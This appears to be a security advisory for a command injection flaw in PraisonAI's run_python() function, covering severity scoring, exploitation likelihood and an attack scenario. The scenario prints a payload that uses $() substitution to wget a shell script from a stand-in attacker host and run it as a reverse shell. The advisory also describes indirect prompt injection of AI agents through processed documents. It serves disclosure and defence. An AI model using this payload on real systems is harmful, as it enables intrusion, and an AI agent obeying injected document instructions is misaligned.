Python CVE-2026-34937

Attacker requires low-privilege local access to the system running PraisonAI and must invoke the run_python() function with attacker-controlled code argument. No user interaction required. Default installations are vulnerable due to incomplete shell metacharacter escaping in subprocess.run() with shell=True.

The CVSS v3.1 base score of 7.8 (High severity) reflects the local attack vector (AV:L) requiring authenticated access (PR:L) with low attack complexity (AC:L) and no user interaction (UI:N), resulting in complete compromise of confidentiality, integrity, and availability (C:H/I:H/A:H). However, the local-only attack vector substantially reduces real-world exposure compared to remotely exploitable command injection flaws. EPSS data is not provided, but the combination of public proof-of-concept availability and the niche deployment footprint of AI agent frameworks suggests moderate exploitation probability limited to targeted attacks against organizations deploying PraisonAI in multi-user environments or exposing agent APIs without proper authentication controls. The vulnerability is not present in CISA's Known Exploited Vulnerabilities catalog, indicating no confirmed widespread exploitation campaigns. From an SSVC perspective: exploitation is proof-of-concept (public code exists), automatable given the straightforward injection vector, and technical impact is total (arbitrary code execution). Priority depends heavily on deployment context-critical for exposed API endpoints serving untrusted users, lower priority for isolated research environments. The local attack vector requirement and authentication prerequisite mitigate risk compared to unauthenticated remote command injection vulnerabilities that typically warrant emergency patching.

An attacker with authenticated local access to a system running PraisonAI deploys a malicious AI agent task or manipulates agent pipeline configuration to inject the payload code='$(wget http://attacker.com/shell.sh -O /tmp/s && bash /tmp/s)' into the run_python() function. When the agent framework processes this task, the incomplete escaping logic fails to neutralize the $() command substitution, and subprocess.run() with shell=True invokes /bin/sh, which executes the attacker's wget command to download and run a reverse shell before Python is ever invoked. The attacker gains a shell with the privileges of the PraisonAI process user, typically the application service account, enabling lateral movement, data exfiltration, or further system compromise. In scenarios where the Flask API server is deployed with default AUTH_ENABLED=False settings, remote attackers could potentially trigger this vulnerability through indirect prompt injection by embedding malicious instructions in documents processed by the AI agents, though the CVSS vector indicates local attack requirements suggesting direct local access is the primary threat model.